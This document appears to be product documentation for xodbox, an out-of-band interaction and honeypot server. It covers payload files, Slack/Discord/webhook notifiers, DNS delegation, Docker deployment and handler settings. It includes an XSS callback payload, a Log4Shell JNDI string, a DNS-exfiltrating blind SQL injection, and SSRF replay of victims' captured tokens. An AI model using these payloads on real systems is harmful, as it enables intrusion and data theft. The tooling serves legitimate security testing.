DNS-01 challenge fails: Verify your API credentials, check that the domain’s authoritative nameservers are correct, and allow at least 30 seconds for DNS propagation.

Port 80/443 already in use: In HTTPS mode, certmagic binds these ports directly. Stop any other service on those ports before starting xodbox.

Certificates not renewing: certmagic handles renewal automatically (well before expiry). If renewal fails, check the logs for ACME errors — usually a DNS or network issue.

3.4 - HTTP Payloads

Create, configure, and hot-reload custom HTTP response payloads

The HTTPX handler serves user-defined payloads — configurable HTTP responses keyed by URL pattern. Payloads use Go templates for dynamic headers, bodies, and status codes, letting you craft responses that test how an application consumes remote data.

How payloads work

Payloads form a processing chain, not a simple route table. On each request:

  1. All payloads are evaluated in order of weight (ascending), then by pattern.
  2. Every payload whose pattern regex matches r.URL.Path runs — it can set headers, write a body, or set the status code.
  3. If a payload has is_final: true, processing stops. Otherwise, the next matching payload runs.

This means multiple non-final payloads can contribute to a single response. For example, the built-in Default Header payload (weight -1000) adds a Server header to every response, then processing continues to the content payload.

Payload file format

Payloads are defined as Markdown files with YAML frontmatter. The body below the closing --- is documentation only — it is not used at runtime.

---
title: My Payload
description: Returns a custom JSON response
weight: 100
pattern: ^/api/config
is_final: true
data:
  status_code: "200"
  headers:
    content-type: application/json
  body: |
    {"server": "{{.Request.Host}}", "ip": "{{index .Request.RemoteAddr 0}}"}
---

This payload returns a fake JSON config to test how the target parses
remote configuration files.

Frontmatter fields

FieldRequiredDefaultDescription
titleyesUnique name for the payload.
descriptionnoHuman-readable description.
weightno0Evaluation order (lower = earlier). Use negative values to run before defaults.
patternyesGo regular expression matched against the URL path.
is_finalnofalseWhen true, stops the payload chain after this payload.
internal_functionnoInvokes a built-in Go function instead of the body template (inspect or build).
data.status_codenoGo template for the HTTP status code.
data.headersnoMap of header name to value. Both names and values are Go templates.
data.bodynoGo template for the response body.

Template context

All template fields (headers, body, status code) are Go templates with Sprig functions available (minus env and expandenv for security).

VariableTypeDescription
.Versionstringxodbox version
.ServerNamestringConfigured server name
.CallBackURLstringURL that calls back to xodbox with ?&xdbx
.CallBackImageURLstringSame but with ?&xdbxImage
.Extramap[string]stringTemplate data plus GET_<param> entries
.Payloads[]PayloadAll loaded payloads
.Request.RemoteAddr[]stringClient IPs (including X-Forwarded-For, X-Real-IP)
.Request.HoststringRequest host
.Request.PathstringURL path
.Request.UserAgentstringUser-Agent header
.Request.Headersmap[string][]stringAll request headers
.Request.GetParamsurl.ValuesQuery string parameters
.Request.PostParamsurl.ValuesPOST form parameters
.Request.Body[]byteRaw request body
.Request.FullRequest[]byteFull raw HTTP request

Content-type and escaping

When a payload sets Content-Type: text/html, the body is rendered with Go’s html/template (auto-escapes HTML entities). All other content types use text/template (no escaping), so template output is rendered verbatim.

Loading payloads

Embedded seeds

xodbox ships with built-in payloads compiled into the binary. These are loaded on first startup and include:

  • Default Header (weight -1000): adds a Server header to every response.
  • Robots (weight -900): serves robots.txt.
  • Redirect (weight -900): HTTP redirects via /redir?l=URL&s=301.
  • Inspect (weight -500): reflects requests back in multiple formats (.txt, .html, .json, .xml, .js, .png, .gif, .jpg).
  • MDaaS Build (weight -500): cross-compiles binaries on the fly.
  • Default Page (weight 9999): catch-all HTML page.

Seeds are additive — they are inserted on first run but never overwrite existing payloads with the same name.

Payload directory (hot-reload)

Set payload_dir in the HTTPX handler config to load .md payload files from a directory:

handlers:
  - handler: HTTPX
    listener: :80
    payload_dir: /opt/xodbox/payloads

xodbox watches this directory with fsnotify:

  • New or modified .md files are upserted (inserted or updated by name) with a 1-second debounce.
  • Subdirectories are also watched.
  • Files ending in ~ and files named _index.md are ignored.
  • Changes take effect on the next HTTP request after the upsert.

Admin UI and API

Payloads can also be managed through the admin web UI (Payloads page) or the JSON API:

MethodPathAuthDescription
GET/api/payloadsany userList all payloads
GET/api/payloads/{id}any userGet one payload
POST/api/payloadsadminCreate a payload
PUT/api/payloads/{id}adminUpdate a payload
DELETE/api/payloads/{id}adminDelete a payload

CLI

xodbox payload dump   # dump all payloads as YAML

Examples

XSS probe

---
title: XSS Probe
description: JavaScript that phones home on execution
weight: 100
pattern: ^/xss
is_final: true
data:
  headers:
    content-type: application/javascript
    access-control-allow-origin: "*"
  body: |
    fetch("{{.CallBackURL}}&context=xss&origin="+document.location.href)
---

Redirect with custom status

The built-in redirect payload (/redir) supports dynamic status codes and locations via query parameters:

/redir?l=https://evil.com&s=302
  • l — redirect location (defaults to a rickroll)
  • s — HTTP status code (defaults to 301)

Request inspector

The built-in inspect payload reflects the request back at the requested path with a format suffix:

/i/anything.json   → JSON representation of the request
/i/anything.html   → HTML view
/i/anything.txt    → plain text
/i/anything.xml    → XML
/i/anything.js     → JavaScript (document.write)
/i/anything.png    → 1x1 tracking pixel

Dynamic header names

Header keys are also templates, enabling dynamic headers:

data:
  headers:
    "x-{{index .Request.GetParams \"h\" 0}}": "{{index .Request.GetParams \"v\" 0}}"

A request to /?h=custom&v=value produces X-custom: value.

Built-in weight conventions

WeightPurpose
-1000Global headers (applied to every response)
-900Utility routes (robots.txt, redirects)
-500Built-in tools (inspect, build)
0Default for user payloads
9999Catch-all fallback page

Place your payloads between -499 and 9998 to run after built-in utilities but before the catch-all. Use negative weights to add global headers or middleware-like behavior.

3.5 - Notifier Integration

Set up Slack, Discord, and webhook notifications for captured interactions

Notifiers deliver alerts when xodbox captures an interaction. Every handler (HTTP, DNS, SMB, SSH, FTP, SMTP, TCP) emits events; notifiers filter them and forward matches to external services.

Four notifiers ship built-in: app_log (structured log, enabled by default), slack, discord, and webhook (generic HTTP POST).

How filtering works

Each notifier has an optional filter key — a Go regular expression matched against the event’s canonical filter string. The filter string has the form:

HANDLER ACTION DETAIL from IP[,IP...]

Examples:

EventFilter string
HTTP GET to /probeHTTPX GET /probe from 203.0.113.9
DNS A query for c2.evil.com.DNS A c2.evil.com. from 10.0.0.5
SMB auth captureSMB Auth CORP\alice from 10.0.0.5
SSH password attemptSSH PasswordAuth root from 10.0.0.5
Admin login (with notify_logins)HTTPX Login alice from 10.0.0.5

The default filter is .* (match everything). Filters are compiled at startup — an invalid regex prevents the notifier from loading.

Common filter patterns

GoalFilter
Only HTTP hits under /x/^HTTPX (GET|POST|HEAD|DELETE|PUT|PATCH|TRACE) /x/
Captured SMB hashes^SMB Auth
DNS lookups for a domain^DNS (A|AAAA) .*\.evil\.com
SSH login attempts as root^SSH \w+ root
Admin console logins^HTTPX Login
Events from a specific IPfrom .*10\.0\.0\.5
Everything (default).*

Slack

Setup

  1. Create a Slack incoming webhook in your workspace.
  2. Copy the webhook URL (starts with https://hooks.slack.com/services/...).
  3. Add to xodbox.yaml:
notifiers:
  - notifier: slack
    url: https://hooks.slack.com/services/T00/B00/xxxx
    channel: "#security-alerts"
    author: xodbox
    author_image: ":skull:"

Configuration

KeyRequiredDefaultNotes
notifieryesMust be slack.
urlyesSlack incoming webhook URL.
channelnoChannel name or user ID to post to.
authornoUsername displayed in Slack.
author_imagenoSlack emoji code (e.g. :pirate:) for the avatar.
filterno.*Go regexp against the filter string.

Message format

Slack messages include the event details, the raw request data in a code block, and (for HTTP events) a Replay: code block with a reproducible curl command.

Discord

Setup

  1. In your Discord server, go to Server Settings → Integrations → Webhooks → New Webhook.
  2. Select the target channel and copy the webhook URL.
  3. Add to xodbox.yaml:
notifiers:
  - notifier: discord
    url: https://discord.com/api/webhooks/1234567890/abcdef...
    author: xodbox
    author_image: https://example.com/avatar.png

Configuration

KeyRequiredDefaultNotes
notifieryesMust be discord.
urlyesDiscord webhook URL.
authornoUsername displayed in Discord.
author_imagenoFull image URL for the avatar (not an emoji code).
filterno.*Go regexp against the filter string.

Discord has no channel key — the target channel is determined by the webhook URL itself.

Message format

Same as Slack: event details, raw data code block, and optional curl replay block.

Webhook (generic)

The webhook notifier POSTs a JSON payload to any HTTP endpoint. Use it to integrate with SIEMs, n8n, Tines, custom automation, or any service that accepts webhooks.

Setup

notifiers:
  - notifier: webhook
    url: https://your-service.example.com/hooks/xodbox
    filter: "^HTTPX"

Configuration

KeyRequiredDefaultNotes
notifieryesMust be webhook.
urlyesAny HTTP endpoint. Posted with Content-Type: application/json.
filterno.*Go regexp against the filter string.

Payload format

{
  "RemoteAddr": "203.0.113.5",
  "RemotePort": 54321,
  "UserAgent": "curl/8.0",
  "Data": "DELETE /probe HTTP/1.1\r\nHost: ...",
  "Details": "HTTPX: DELETE http://.../probe from 203.0.113.5:54321",
  "Curl": "curl -X DELETE ..."
}

The Curl field is only present for HTTP events; it is omitted for DNS, SMB, SSH, and other handlers.

App log (default)

The app_log notifier writes events to the structured application log. It is enabled by default in the embedded config template.

notifiers:
  - notifier: app_log
    filter: ".*"

Output includes a curl attribute for HTTP events.

Multiple notifiers

You can configure multiple notifiers — including multiple instances of the same type with different filters:

notifiers:
  - notifier: app_log

  - notifier: slack
    url: https://hooks.slack.com/services/T00/B00/xxxx
    channel: "#all-interactions"

  - notifier: slack
    url: https://hooks.slack.com/services/T00/B00/yyyy
    channel: "#smb-hashes"
    filter: "^SMB Auth"

  - notifier: webhook
    url: https://siem.internal/api/events
    filter: "^(HTTPX|DNS)"

Failure handling

  • HTTP 4xx/5xx from the target: logged as an error but does not block other notifiers. A flaky webhook will not cause event loss.
  • Connection/transport failures (DNS resolution, refused, timeout): the error is logged and propagated. Events are still delivered to other notifiers.
  • Notifier failures never prevent event recording in the database — the interaction is always persisted regardless of notifier outcomes.

3.6 - DNS Delegation

Set up the DNS handler and delegate a subdomain for out-of-band detection

The DNS handler listens for UDP queries and responds to every request with a configurable A record. Every query is logged as an interaction event and delivered to notifiers. This makes it ideal for detecting out-of-band DNS lookups triggered by SSRF, XXE, log4shell, and similar vulnerabilities.

How it works

The handler responds to all queries for all domains — there is no zone configuration. Every query (regardless of type — A, AAAA, MX, etc.) receives the same A record response with a TTL of 0 (not cacheable).

To make this useful, you delegate a subdomain to xodbox so that DNS resolution for *.oob.yourdomain.com reaches your server.

Prerequisites

  • A domain whose DNS you control (via your registrar or DNS provider).
  • A server with a static public IP that can bind port 53/UDP.
  • CAP_NET_BIND_SERVICE capability (or root) to bind port 53.

Configuration

handlers:
  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10
KeyRequiredDefaultNotes
handleryesMust be DNS.
listeneryesUDP bind address, e.g. :53 or 0.0.0.0:5353. Port 53 requires CAP_NET_BIND_SERVICE.
default_ipyesIPv4 address returned as the A record for every query. Invalid values produce empty responses.

Setting up DNS delegation

Step 1: Create glue records

At your DNS registrar or provider, create an A record pointing to your xodbox server’s public IP. This becomes the “glue” that tells resolvers where to find your nameserver:

ns-oob.example.com.  A  203.0.113.10

Step 2: Delegate the subdomain

Create an NS record that delegates a subdomain to the host you just created:

oob.example.com.  NS  ns-oob.example.com.

This tells the DNS hierarchy that all queries for *.oob.example.com should be sent to ns-oob.example.com (your xodbox server).

Step 3: Configure and start xodbox

Set default_ip to the IP you want every query to resolve to — typically your xodbox server’s own public IP:

handlers:
  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10

Step 4: Verify

From another machine, query a random subdomain:

dig test123.oob.example.com @203.0.113.10

You should see an A record pointing to 203.0.113.10 and an interaction logged in xodbox.

To verify delegation through the public DNS hierarchy (not direct):

dig test456.oob.example.com

If delegation is correct, this resolves through the public DNS hierarchy to your xodbox server.

Using DNS for out-of-band detection

Once delegation is set up, embed a unique subdomain in your payloads. If the target application performs a DNS lookup, xodbox captures it:

SSRF / XXE:

https://unique-token.oob.example.com/

Log4Shell:

${jndi:ldap://unique-token.oob.example.com/a}

Blind SQL injection (DNS exfiltration):

SELECT LOAD_FILE(CONCAT('\\\\', (SELECT user()), '.oob.example.com\\a'));

Email header injection:

From: test@unique-token.oob.example.com

Use sinks to group and label interactions by engagement or test case.

Combining with the HTTPX handler

A typical deployment runs both DNS and HTTPX handlers together. DNS captures the lookup; HTTPX captures the follow-up HTTP request:

handlers:
  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10

  - handler: HTTPX
    listener: :80
    admin_listener: 127.0.0.1:9091

Set default_ip to the same server so that DNS resolution leads the target to make an HTTP request to xodbox as well.

Notifier filter examples

The DNS handler’s filter string has the format:

DNS <QTYPE> <qname> from <ip>
GoalFilter
All DNS events^DNS
Only A queries^DNS A
Queries for a specific domain^DNS .* .*\.oob\.example\.com
Queries from a specific IP^DNS .* from 10\.0\.0\.5

Operational notes

  • TTL is always 0. Responses are not cacheable. This ensures every lookup reaches xodbox, but may increase query volume from recursive resolvers.
  • All query types return an A record. AAAA, MX, and other query types still get an A response. There is no type-specific response logic.
  • Port 53 requires privileges. On Linux, grant CAP_NET_BIND_SERVICE to the xodbox binary (setcap cap_net_bind_service=+ep ./xodbox) or run as root. In Docker, publish the port with -p 53:53/udp.
  • Stop existing resolvers. systemd-resolved or dnsmasq may already bind port 53. Disable or reconfigure them before starting xodbox’s DNS handler.

3.7 - Docker Deployment

Run xodbox in Docker with persistent storage and multi-handler configurations

Pre-built Docker images are published to the GitHub Container Registry (GHCR) and signed with cosign (keyless OIDC via GitHub Actions). The images are Alpine-based, run as a non-root xodbox user, and contain a single statically-linked binary.

Quick start

# Generate a starter config
docker run --rm ghcr.io/defektive/xodbox:latest config -e > xodbox.yaml

# Edit xodbox.yaml to taste, then run
docker run -d \
  --name xodbox \
  -v "$PWD:/workspace" \
  --user "$(id -u):$(id -g)" \
  -p 80:80 \
  ghcr.io/defektive/xodbox:latest serve

Image details

PropertyValue
Imageghcr.io/defektive/xodbox
Tags:latest, :v1.2.3 (per release)
Architecturelinux/amd64
Basealpine:3.21
Entrypoint/bin/xodbox
Working directory/workspace
Runs asxodbox (non-root)

Volumes and persistence

The container’s working directory is /workspace. Mount a host directory there to persist:

FilePurpose
xodbox.yamlConfiguration file
xodbox.dbSQLite database (interactions, payloads, users)
payloads/Custom payload files (if payload_dir is set)
static/Static assets (if static_dir is set)

Always pass --user "$(id -u):$(id -g)" so files created in the volume are owned by your host user.

Health check

The HTTPX handler exposes a health endpoint:

GET /api/health → {"status": "ok"}

When using ui_path, the endpoint is at <ui_path>/api/health (e.g. /admin/api/health).

# docker-compose healthcheck
healthcheck:
  test: ["CMD", "wget", "-q", "--spider", "http://localhost/api/health"]
  interval: 30s
  timeout: 5s
  retries: 3

Docker Compose examples

HTTP only

services:
  xodbox:
    image: ghcr.io/defektive/xodbox:latest
    command: serve
    user: "1000:1000"
    ports:
      - "80:80"
    volumes:
      - ./data:/workspace
    restart: unless-stopped
    healthcheck:
      test: ["CMD", "wget", "-q", "--spider", "http://localhost/api/health"]
      interval: 30s
      timeout: 5s
      retries: 3

Multi-handler (HTTP + DNS + SMB)

services:
  xodbox:
    image: ghcr.io/defektive/xodbox:latest
    command: serve
    user: "1000:1000"
    ports:
      - "80:80"
      - "53:53/udp"
      - "445:445"
      - "9091:9091"       # isolated admin console
    volumes:
      - ./data:/workspace
    restart: unless-stopped
    cap_add:
      - NET_BIND_SERVICE  # required for ports < 1024

With xodbox.yaml in ./data/:

handlers:
  - handler: HTTPX
    listener: :80
    admin_listener: 0.0.0.0:9091
    ui_allow_cidrs: "10.0.0.0/8,172.16.0.0/12,192.168.0.0/16"

  - handler: DNS
    listener: :53
    default_ip: 203.0.113.10

  - handler: SMB
    listener: :445
    target_name: CORP-FS01

notifiers:
  - notifier: app_log

With TLS (ACME DNS-01)

services:
  xodbox:
    image: ghcr.io/defektive/xodbox:latest
    command: serve
    user: "1000:1000"
    ports:
      - "80:80"
      - "443:443"
      - "53:53/udp"
    volumes:
      - ./data:/workspace
    environment:
      # For Route53 DNS-01 challenge
      - AWS_ACCESS_KEY_ID=AKIA...
      - AWS_SECRET_ACCESS_KEY=...
      - AWS_REGION=us-east-1
    cap_add:
      - NET_BIND_SERVICE
    restart: unless-stopped

Behind a reverse proxy

When running behind nginx, Caddy, or another reverse proxy:

  1. Forward X-Forwarded-Proto, X-Forwarded-For, and Host headers.
  2. If using the admin console, set public_url to the external URL so sink links point to the right host.
  3. If using OIDC, set oidc_redirect_url explicitly.

Example nginx upstream:

location / {
    proxy_pass http://127.0.0.1:8080;
    proxy_set_header Host $host;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header X-Forwarded-Proto $scheme;
}

Bootstrapping users

Create the first admin user before or after starting the container:

# Before starting (if the DB doesn't exist yet)
docker run --rm -v "$PWD/data:/workspace" --user "$(id -u):$(id -g)" \
  ghcr.io/defektive/xodbox:latest user add alice --admin

# While running
docker exec xodbox /bin/xodbox user add alice --admin

Verifying image signatures

cosign verify \
  --certificate-identity-regexp="https://github.com/defektive/xodbox" \
  --certificate-oidc-issuer="https://token.actions.githubusercontent.com" \
  ghcr.io/defektive/xodbox:latest

Troubleshooting

Permission denied on /workspace: Pass --user "$(id -u):$(id -g)" to match the host volume’s ownership, or chown the data directory.

Port 53 bind fails: Add cap_add: [NET_BIND_SERVICE] in Compose or --cap-add NET_BIND_SERVICE in docker run. Alternatively, bind to a high port (e.g. :5353) and NAT from 53 externally.

“address already in use” on port 53: systemd-resolved or dnsmasq may hold port 53. On the host, disable or reconfigure them.

Database locked errors: Only one xodbox instance should access the SQLite database at a time. Do not mount the same volume into multiple containers.

4 - Handlers

Interaction handlers

Handlers are services that listen on ports and respond to requests.

4.1 - DNS

DNS Handler

Purpose

A DNS UDP listener that records every query it receives and answers each one with a single A record. Useful for confirming out-of-band DNS resolution from an application under test (e.g. SSRF, XXE, log4shell flavoured probes).

Behaviour

  • Listens on UDP at the configured listener address.
  • For each incoming query, dispatches an InteractionEvent whose Details() reports "DNS: <qname> <decimal-qtype>" (e.g. "DNS: c2.evil.com. 1" for an A query). Notifier filters use FilterString() instead, which has the canonical form "DNS <QTYPE-name> <qname> from <ip>" (e.g. "DNS A c2.evil.com. from 10.0.0.5").
  • Replies with an A record pointing every name to default_ip, regardless of the requested type. Non-A queries still receive the forged A reply.
  • A future enhancement may store per-name records in the database; today the handler is intentionally a single-answer reflector.

Configuration

KeyRequiredDefaultNotes
handleryesMust be DNS.
listeneryesBind address, e.g. :53 or 0.0.0.0:5353. Requires CAP_NET_BIND_SERVICE for port 53.
default_ipyesIPv4 string returned as the A record for every query. Invalid values yield empty responses.

Operational notes

  • The handler responds to every query, including ANY/AAAA/MX. Use a filter at the notifier layer if you only care about specific names.
  • Stop() shuts the underlying *dns.Server down with the supplied context as the drain deadline.

4.2 - FTP

FTP Handler

Purpose

An FTP listener that presents a fake directory tree to clients. Useful for confirming out-of-band FTP fetches, picking up credential probes, and observing what scanners look for. List/read/auth interactions are emitted as InteractionEvents; no real files are served.

Behaviour

  • Backed by fclairamb/ftpserverlib.
  • Filesystem is an in-memory afero MemMapFs seeded with the directory paths listed in fake_dir_tree. Operators can probe the tree but cannot write durable state.
  • Plaintext authentication is allowed; reads/writes/lists emit fine-grained action events (AuthSuccess, AuthFail, ListFiles, FileOpen, FileRead, FileWrite, FileReadDir, FileDelete).
  • The bundled SimpleServerDriver.AuthUser rejects every login unless Credentials has been populated programmatically. The current YAML schema does not expose Credentials; the default behaviour is therefore “log the attempt and refuse”.

Configuration

KeyRequiredDefaultNotes
handleryesMust be FTP.
listeneryesBind address, e.g. :21 or :2121 for unprivileged ports.
server_namenoFTP ServerBanner returned to clients in the 220 greeting.
fake_dir_treenotest/old/fake,test/new/fakeComma-separated paths created on the in-memory fs at startup.

Events

ActionTrigger
AuthSuccessA USER/PASS pair matched a configured credential.
AuthFailAuthentication was rejected.
LogoutClient disconnected after auth.
ListFilesClient issued LIST/NLST.
FileOpenClient opened a file (RETR/STOR).
FileReadBytes read from a file.
FileWriteBytes written to a file.
FileReadDirDirectory enumeration.
FileDeleteDELE command.

Operational notes

  • Plaintext credentials submitted to this handler should be considered compromised; do not run it where users might accidentally type real passwords into it.
  • Stop() calls the underlying FtpServer.Stop() (no context deadline; ftpserverlib does not accept one).

4.3 - HTTPX

HTTPX Handler

Purpose

The primary HTTP/HTTPS listener. It serves user-defined payloads keyed by URL pattern, hosts static assets, exposes a private JSON API, and can transparently provision Let’s Encrypt certificates via ACME-DNS-01. Every request produces an InteractionEvent so out-of-band HTTP reach-out from an application under test can be asserted against expected paths and headers.

Replaying captured requests (SSRF)

Every HTTP interaction can render a curl command that reproduces the captured request — method, target URL, all headers, and the body. Notifiers include it automatically: slack/discord add a Replay: code block, webhook adds a Curl JSON field, and app_log logs a curl attribute.

This is aimed at SSRF: when a vulnerable server is coerced into calling xodbox, the captured request often carries the headers, cookies, or cloud-metadata tokens the victim attached. Copy the generated command, swap the URL for the intended internal target, and re-run it from the CLI to inspect that service with the victim’s own request:

curl -X POST 'http://your-xodbox/x/beacon?id=1' -H 'Authorization: Bearer …' --data-raw '…'

The command is single-line for easy copy-paste and shell-safe (values are single-quoted); Content-Length is dropped so curl recomputes it.

Behaviour

  • HTTP serves the bundled payload database (see payload_db_seed.go for the seeded set). Additional payloads can be loaded from a watched directory via payload_dir; changes are picked up via fsnotify and debounced into the database.
  • HTTPS mode activates when tls_names is set; certmagic provisions certificates via ACME-DNS-01 against the configured dns_provider. Without dns_provider, HTTPS will fall back to HTTP-01 / TLS-ALPN challenges, which require port 80/443 reachability from the internet.
  • Bot suppression: clients that exceed 30 requests in any one-minute bucket are marked as bots (model.IsBot) and have their subsequent events suppressed from notifier delivery (logged at WARN). The threshold itself is not configurable today. Loopback, RFC1918 private, and link-local sources are exempt from this suppression by default — they’re usually the operator testing or an internal SSRF callback — so a burst of local/internal traffic won’t silently mute your notifiers. Set bot_exempt_private: "false" to subject every source to bot detection.
  • The private API (mounted at api_path) requires the header Authorization: Token <api_token> on every request. An empty api_token rejects all callers. api_token is deprecated in favour of the admin console’s user accounts and API keys (see below); setting it logs a deprecation warning at start-up.
  • Embedded static assets ship at /ixdbxi/.
  • An embedded admin web UI (React SPA + JSON API) ships in the binary and is served under ui_path — or on a separate admin_listener bind — behind session/API-key auth and a CIDR allowlist (see below).

Configuration

General

KeyRequiredDefaultNotes
handleryesMust be HTTPX.
listeneryesBind address, e.g. :80 or :8080.
static_dirnoDirectory served at /static/. Created on first start with mode 0750 if missing.
payload_dirnoDirectory of *.md payload definitions. Watched at runtime; updates are upserted.
api_pathnoURL path prefix to mount the JSON API on, e.g. /api. Normalised to leading/trailing slash.
api_tokennoDeprecated. Bearer-style token for the legacy /private/* API. Prefer admin users + API keys. Setting it warns at start-up.
bot_exempt_privatenotrueExempt loopback/private/link-local sources from volume-based bot suppression. Set to "false" to apply bot detection to every source.
ui_pathnoURL path prefix to mount the admin web UI on, e.g. /admin. Empty disables it on the main listener. Normalised to leading/trailing slash. Ignored when admin_listener is set.
ui_allow_cidrsnoComma-separated CIDRs allowed to reach the admin UI/API, checked against the real TCP peer IP (never X-Forwarded-For). Empty allows any source (auth still required). Invalid entries are logged and ignored.
admin_listenernoSeparate bind address (e.g. 127.0.0.1:8443) that serves only the admin UI/API, isolated from the attacker-facing listener. When set, the UI is not mounted under ui_path on the main listener.
public_urlnoExternally-reachable base URL of the honeypot (e.g. https://oob.example.com). The admin UI’s Copy HTTP link control on a sink builds <public_url>/<slug> from it. Empty falls back to the UI’s own origin — correct when the UI is served on the honeypot listener, wrong on an isolated admin_listener.
notify_loginsnofalseWhen "true", a successful admin-UI login emits an InteractionEvent (recorded in the Events log and delivered to notifiers whose filter matches ^HTTPX Login). See Login notifications below.
max_upload_sizeno0Per-file size cap for multipart/form-data uploads, in bytes. 0 means no limit. Files exceeding the cap are rejected with 413.

OIDC / SSO

Optional single sign-on for the admin console via any OpenID Connect provider (Google, Okta, Keycloak, Azure AD, Authentik, …). SSO runs alongside the built-in username/password login — an “SSO” button appears on the login page when oidc_issuer and oidc_client_id are set. See OIDC single sign-on below.

KeyRequiredDefaultNotes
oidc_issuernoProvider issuer URL. Setting this and oidc_client_id enables SSO. Discovery (<issuer>/.well-known/openid-configuration) is fetched lazily on the first login, so start-up never blocks on the IdP.
oidc_client_idnoOAuth2/OIDC client ID registered with the provider.
oidc_client_secretnoClient secret. Omit for public clients — the flow always uses Authorization Code + PKCE.
oidc_redirect_urlnoderivedCallback URL registered with the IdP, e.g. https://oob.example.com/admin/api/auth/oidc/callback. When empty it is derived from the request’s scheme/host and admin mount path (honoring X-Forwarded-Proto). Set it explicitly when the console sits behind a proxy or on a non-obvious host.
oidc_scopesnoopenid,profile,emailComma/space-separated scopes requested. openid is always included.
oidc_default_rolenouserRole assigned to provisioned users: user or admin.
oidc_groups_claimnogroupsID-token claim inspected for group membership (may be a JSON array or a space/comma string).
oidc_admin_groupnoWhen set, users whose oidc_groups_claim contains this value are granted the admin role; everyone else gets oidc_default_role. Empty means no group is elevated.
oidc_button_labelnoSign in with SSOText shown on the login page’s SSO button.

TLS / ACME

KeyRequiredDefaultNotes
tls_namesnoComma-separated hostnames. Setting any value enables HTTPS via certmagic.
acme_emailnoACME account contact address.
acme_acceptnofalseMust be the literal string "true" to accept the ACME provider’s terms of service.
acme_urlnoACME directory URL. Defaults to Let’s Encrypt production; use the staging URL for testing.
dns_providernoOne of namecheap or route53. Required for the DNS-01 challenge path.
dns_provider_api_usernoAPI user (namecheap only).
dns_provider_api_keynoAPI key (namecheap only).

MDaaS (Malicious Daemon as a Service) cross-compile

These keys are baked into binaries served from the /build/<os>/<arch>/<program> route. Only useful when payloads request a build.

KeyRequiredDefaultNotes
mdaas_log_levelnoOne of NONE, INFO, WARN, ERROR, DEBUG.
mdaas_bind_listenernoListener address baked into the built MDaaS binary.
mdaas_allowed_cidrnoCIDR allowed to connect to the built MDaaS binary at runtime.
mdaas_notify_urlnoWebhook URL the built binary calls back to.

Admin web UI

The binary embeds a responsive React admin console (built with Vite + shadcn/ui, compiled into pkg/handlers/httpx/webui/ via //go:embed) plus a JSON admin API. It lets an operator log in and:

  • view/edit/create/delete payloads,
  • browse the Events log with filters (target, remote, handler) — the app persists interactions from every handler (httpx, dns, ftp, smtp, ssh, tcp, smb), so the log spans all protocols, not just HTTP,
  • delete individual events (and their uploaded files) from the list or detail view, and delete individual uploaded files without removing the event,
  • inspect an event’s detail with a one-click copy-as-curl — JSON bodies are automatically pretty-printed for readability,
  • get a webhook-style view of every hit to a specific target path,
  • watch the Events log and sink feeds update in real time — new interactions stream in live via Server-Sent Events (GET /api/stream, filterable by handler/remote/target/sink), no refresh needed,
  • manage sinks — named, described slugs with a per-slug event feed,
  • review detected bots,
  • manage users and API keys, and rotate their own password,
  • edit the server config with a structured editor that shows labelled fields, descriptions, and grouped sections for each handler/notifier type — including a one-click Enable OIDC / SSO button that pre-populates all the SSO fields.

Sinks

A sink is a named, described slug you embed in a payload (a URL path, a DNS label, a query value) to correlate out-of-band interactions. Creating a sink does not change what the honeypot captures — every path and name is already recorded — it labels and groups the hits so you can remember what a slug is for and review its whole feed in one place. An interaction belongs to a sink when the slug appears in its request_target (HTTP path, DNS qname) or its raw request headers (the request line + Host), so /<slug>, <slug>.your.domain, and ?x=<slug> all correlate. Deleting a sink leaves its captured interactions untouched.

Sinks are managed in the UI (create with an optional slug + description, then open one to see its events, newest first) and over the API — GET/POST /api/sinks, GET/PUT /api/sinks/{slug} (sink + event feed / update), DELETE /api/sinks/{slug}.

From the CLI (handy for scripting payload generation — only the slug is written to stdout, so it is clean to capture):

SLUG=$(xodbox sink add --description "prod SSRF beacon")   # random slug
xodbox sink add my-label --description "a named one"        # explicit slug
xodbox sink add --description "with alerts" --notify        # enable hit notifications
xodbox sink list
xodbox sink rm my-label

Each sink’s detail page has two copy controls: Copy slug (the bare slug, for embedding in a payload) and Copy HTTP link (the full <public_url>/<slug> URL a target would hit to land in the sink). Set public_url so the link points at the honeypot’s real address; without it the link uses the console’s own origin, which is only correct when the UI is mounted on the honeypot listener.

Sink hit notifications

A sink with notify enabled dispatches a notification through all configured notifiers whenever a new interaction matches its slug. The notification includes the sink slug, description, a link (<public_url>/<slug> when public_url is set in defaults), and the full event metadata (handler, remote IP, request target, raw data, curl replay when available).

Toggle notifications in the admin UI (the Notifications on/off button on a sink’s detail page, or the checkbox in the sink list), over the API (PUT /api/sinks/{slug} with {"notify": true}), or at creation time (--notify flag on the CLI, "notify": true in the POST body).

Sink-hit events bypass the notifier’s regex filter — enabling notify on a sink is an explicit opt-in, so the event is delivered to every configured notifier regardless of its filter setting. The filter string still has the shape SINK <slug> <original-filter-string> for logging/debugging purposes.

To include the interaction link in Slack/Discord/webhook notifications, add public_url to the defaults section of xodbox.yaml:

defaults:
  public_url: https://oob.example.com

Login notifications

Admin traffic normally produces no InteractionEvents. With notify_logins: "true", each successful admin-UI login is an exception: it emits an event so operators can be alerted when someone accesses the console. The event is recorded in the Events log (as an httpx LOGIN interaction targeting the username) and dispatched to notifiers. Its filter string has the canonical shape

HTTPX Login <username> from <ip>

so a notifier selects logins with a filter like ^HTTPX Login. Failed login attempts are not emitted (they are rate-limited and enumeration-resistant).

Serving the console

Choose one of two mount strategies:

  • Same listener, sub-path: set ui_path (e.g. /admin). The SPA and its /api/* routes are served under that prefix on the main HTTP(S) listener, with an SPA fallback for client-side routes.
  • Isolated listener (recommended): set admin_listener (e.g. 127.0.0.1:8443). The console binds there, fully separated from the attacker-facing port; ui_path is then ignored on the main listener.

Either way, access is gated by ui_allow_cidrs (evaluated against the real TCP peer IP) and authentication. Admin routes never emit honeypot InteractionEvents.

Authentication model

  • Browser sessions: cookie-based, server-side session tokens (hashed at rest), HttpOnly + SameSite=Strict + Secure under TLS. State-changing requests require a double-submit CSRF token (X-CSRF-Token header echoing the xodbox_csrf cookie). Login is rate-limited and enumeration-resistant.
  • API keys: send Authorization: Bearer xdbx_…. Keys are sha256-hashed at rest, compared in constant time, and shown in plaintext exactly once at creation. Bearer requests are CSRF-exempt.
  • Passwords: bcrypt, 12-character minimum.
